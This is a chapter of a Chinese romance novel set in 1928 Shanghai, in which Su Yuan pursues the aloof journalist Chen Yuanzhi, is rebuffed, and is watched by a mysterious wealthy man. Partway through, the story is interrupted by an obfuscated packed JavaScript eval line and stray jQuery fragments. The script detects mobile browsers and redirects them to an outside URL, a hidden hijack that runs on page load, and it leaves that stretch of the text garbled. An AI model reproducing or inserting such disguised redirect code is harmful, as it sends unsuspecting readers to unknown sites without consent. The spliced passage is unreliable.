民国十七年的春天，来得比往年都早。
圣约翰大学的草坪已经绿透了，礼堂门口两棵玉兰开得茂盛，风一吹，花瓣落得到处都是，踩上去软绵绵的。
苏沅站在礼堂侧门，低头又检查了一遍手里的锦缎样布。
说是替父亲来捐绸缎，其实她心里门儿清——父亲的原话是“你去露个脸，别丢苏家的份”，翻译一下就是：带足了东西，站够了时辰，回来别烦我。
她今日穿了件淡粉色暗纹旗袍，是上月新裁的，领口绣着一小朵白玉兰，与眼前的花树相映，衬得她肌肤胜雪，眉眼娇软。
出门前母亲盯着她看了又看，连连点头夸这颜色衬人，末了又添一句：“十七了，该学着应酬场面了。”
苏沅觉得母亲话里有话，但没敢问。
礼堂里坐得满满当当，台上正有人慷慨演讲。
她试着往里挤了挤，人潮拥挤实在难进，索性站在后排，踮着脚尖朝台上望去。
演讲的是个年轻男子。
白衬衫，袖口挽得齐整，熨得笔挺。
他站在讲台后，没有稿子，声音不高，却像带着钩子，把满堂的人都钩住了。
“……今日之中国，不缺坐而论道者，缺的是敢秉笔直书之人。青年当以笔为戈，以墨为弹，唤醒沉睡之国。若人人都怕开罪权贵、怕丢了饭碗，那这国，还有谁来救？”
苏沅怔怔。
她不是没听过这般慷慨陈词。
父亲生意场上，那些西装革履名流，在宴席上也常把“实业救国”“商者仁心”挂在嘴边，她听着，点头，奉茶，不过是场面上的应酬，从未往心里去。
可眼前这个人，不一样。
他说这番话时，眼底是明亮的。
不是那种被灯火映照的亮，是从里头透出来的，像她幼时在苏州外婆家，夏夜稻田里的萤火，干净、炽热，又孤勇。
演讲结束，掌声如雷。
苏沅还没回过神，那人已经下台了，正被几个学生围住说话。她鬼使神差地往前走了两步，又停住，攥紧了手里的名片盒。
林薇薇不知从哪儿冒出来，一把拽住她：“你在这儿杵着干嘛？里头热死了，走，我请你喝汽水。”
“等一下。”苏沅没动。
林薇薇顺着她的视线看过去，眯起眼睛打量了片刻，恍然大悟，拖长了调子打趣：“哦——原来是看上台上那位才子了？”
“他叫什么？”
“陈远之，新闻系的高材生，如今在《申报》实习呢。”林薇薇戳了戳她的额头，“怎么，咱们苏大小姐是动了凡心？”
苏沅没理她，把锦缎样布往薇薇怀里一塞，径直朝那人走去。
走到他面前时，他刚打发走围拢的学生，正低头整理笔记本，眉眼低垂，清隽得像一幅淡墨山水。
苏沅轻轻清了清嗓子，他抬眸看来。
近看更清俊。
眉眼像用细笔描过的，唇角抿着，自带几分拒人千里的疏离，白衬衫领口起了毛边，但扣得一丝不苟。
苏沅把名片递过去，心跳如鼓，好在声音比她预想的稳：“陈先生，方才的演讲很精彩。我是苏氏绸缎庄的苏沅，想认识您。”
她练习过很多遍。不长，不谄媚，落落大方。
他接过名片，垂眸看了一眼，下一秒，眸色沉了下来。
“苏小姐。”
他把她名片放回她手心，动作很轻，语气很淡，“多谢抬爱。”
话音落，他转身便走。
擦肩而过时，苏沅闻到他身上有淡淡的皂角香，清冽干净。
她僵在原地，低头看着手心里被退回的名片，“苏氏绸缎庄·苏沅”在夕阳下反着光，刺得她鼻尖微微发酸。
林薇薇追上来，把锦缎塞回她怀里：“我就说吧？这人清高得很，上回王家大小姐送他一支派克钢笔，他当场还回去，连盒子都没拆。”
“那不一样。”
“哪里不一样？”
苏沅没回答，把名片收回名片盒，小心地抚平边角。
那不一样。
她递名片的时候，他没还盒子。
“你呀，就喜欢难啃的骨头。”
苏沅没反驳。
她又看了一眼礼堂门口。
陈远之的背影已经融进暮色里，那道身影，成了她眼底挥之不去的影子。
她不知道，此刻礼堂二楼的窗边，一道身影自始至终凝望着她。
男人立在阴影里，一身墨色西装衬得身形挺拔，袖口的钻石扣折射出微光。
他看的是她——是她低头收起名片时，唇角扬起的那一点点倔强。
他看了很久。
直到身后的秦舟低声提醒：“先生，沈诚少爷的车到了。”
他收回目光，转身。
窗台上，不知谁落下了一枚玉兰花瓣，白的，软软的。
*
苏沅失眠了。
她躺在雕花大床上，把名片摸出来看了三遍，又放回去，又摸出来。
母亲送给她的檀木名片盒是及笄礼的贺礼，整整齐齐码着她这些年积攒的人脉。
现在多了一个人。
她对着名片上“陈远之”三个字，小声念了一遍。
第二天一早，她打发人去《申报》打听。
下午回话来了：陈远之在实习，用的是报社配的旧钢笔，笔尖都写秃了，蘸墨水总漏，时常弄脏稿纸。
苏沅听完，立刻去了南京路上的老周记。
她挑了半个时辰，选了支派克金笔，笔尖是14K金的，笔杆墨绿色，刻着一圈细细的缠枝纹。
老周拍胸脯说，全上海找不出第二支一模一样的。
她让伙计用锦盒装好，派得力的人送去报社，附了张字条：
“陈先生，听说您常写稿，这支笔比旧的好使。苏沅。”
然后她开始等。
第四天上午，她正在铺子里对账，伙计慌慌张张跑进来：“小姐，陈、陈先生来了。”
苏沅手里账本差点掉地上。
她下意识整了整旗袍，又理了理鬓发，刚要起身相迎，就见陈远之已经跨进门来。
他依旧穿着那件白衬衫，头发比三天前乱了些，眼底有青痕，大约是熬夜写稿了。
他手里拿着那只锦盒。
苏沅的心往下一沉。
“苏小姐。”他把锦盒放在柜台上，推过来，动作和那天一样轻，一样淡。
“报社有配笔，我用习惯了。这支你收回去。”
她盯着那锦盒，没接。
“是不是款式你不喜欢？我可以换——”
“不是款式的问题。”
他打断她，语气里没有怒气，依旧平淡。
“我不需要施舍。”
她张了张嘴，想解释，想说这不是施舍，只是看他的笔太旧，怕他写稿辛苦，只是想为他做一点力所能及的小事。
可话到嘴边，却一个字也说不出来。
因为她对上了他的眼睛。
那双像萤火一样亮的眼睛，此刻看着她，像看着一堵墙。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184894|196988||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她不知道自己做错了什么。
“那你不收，留着看看也好。笔没有错。”
“……”
陈远之没有回答，把锦盒又往前推了一寸，转身走了。
门口的风铃叮铃一响，清脆的声响，却听得苏沅鼻尖发酸。
她僵在柜台前，手里还攥着账本，低头时，才发现锦盒上，多了一张陌生的字条。
不是她的笔迹。
她展开来，看见一行极清隽的行楷，墨迹犹新：
“苏小姐，善意若让对方难堪，便是负担。”
没有署名。
她把字条翻过来，又翻过去，纸是上好的玉版宣，裁得很齐整。
“……沅沅？”
林薇薇不知何时来了，歪头看着她发呆的模样，好奇地问，“怎么傻站着？这张字条是谁送的？”
苏沅连忙把字条折起来，收进名片盒。
“没事。”她的声音很轻，像在对自己说。
“就是一个爱管闲事的人。”
林薇薇一脸狐疑，却也没再多问。
苏沅没解释，把锦盒小心地放进抽屉里。
这时候，窗外传来汽车引擎声。
苏沅下意识抬头望去。
街对面，一辆黑色轿车缓缓驶过，车窗半降，露出半张轮廓分明的侧脸。那人似乎正朝这里望来，距离太远，看不清神情，只一瞬，车窗便缓缓升起。
黑色轿车融进车流，转瞬即逝。
苏沅收回目光，低头继续对账。但她把那张字条，又摸出来看了一遍。
苏沅从绸缎庄回来，一路没说话。
黄包车夫见小姐神色恹恹，只当是累了，把车拉得又快又稳，她靠在车篷边，手里攥着那张没署名的字条，折了又展开，展开又折。
“善意若让对方难堪，便是负担。”
她不懂。
她不过是想对他好一点罢了。
送一支好用的钢笔是错，递一张名片是错，难道满心欢喜地喜欢一个人，连这份喜欢本身，都是错吗？
委屈像细密的雨丝，缠缠绕绕裹住心头，闷得她鼻尖发酸。
车停在苏公馆门口，苏沅下车时心神不宁，被门槛绊了一下，踉跄着险些摔倒。门房老张头慌忙上前扶她，她轻轻摆了摆手，敛着情绪往里走。
苏母正在花厅里插瓶，见她回来，手里的银剪子一顿：“怎么这个点就回来了？不是说去铺子里对账吗？”
“对完了。”
“对完了就上楼换身衣裳，晚上沈家有宴请，你爹特意交代要带你去。”苏母放下剪子，抬眼打量她，“眼睛怎么红了？”
“外面风大，吹的。”苏沅垂眸避开她的视线。
苏母没追问，只催她快些。
苏沅上楼，推开自己房门，一头栽进软枕里，枕头是鸭绒的，埋进去闷闷的，什么声音都听不见。
她在黑暗里趴了一会儿，忽然想起今晚还有宴，又要见一群不认识的叔叔伯伯，听他们谈生意、讲场面话，嘴角要一直翘着，累了还不能揉。
她翻过身，对着帐顶发呆。
“沈家，哪个沈家？”
她爹总挂在嘴边，说沈家公子年轻有为，沈家航运垄断上海滩，势力如日中天。
可她想来想去，也记不清这人长什么模样。
——直到她换上新裁的藕荷色旗袍，被母亲塞进轿车，在沈公馆门口下车，抬头看见廊下站着的那个男人。
她愣住。
是他。轿车里的人。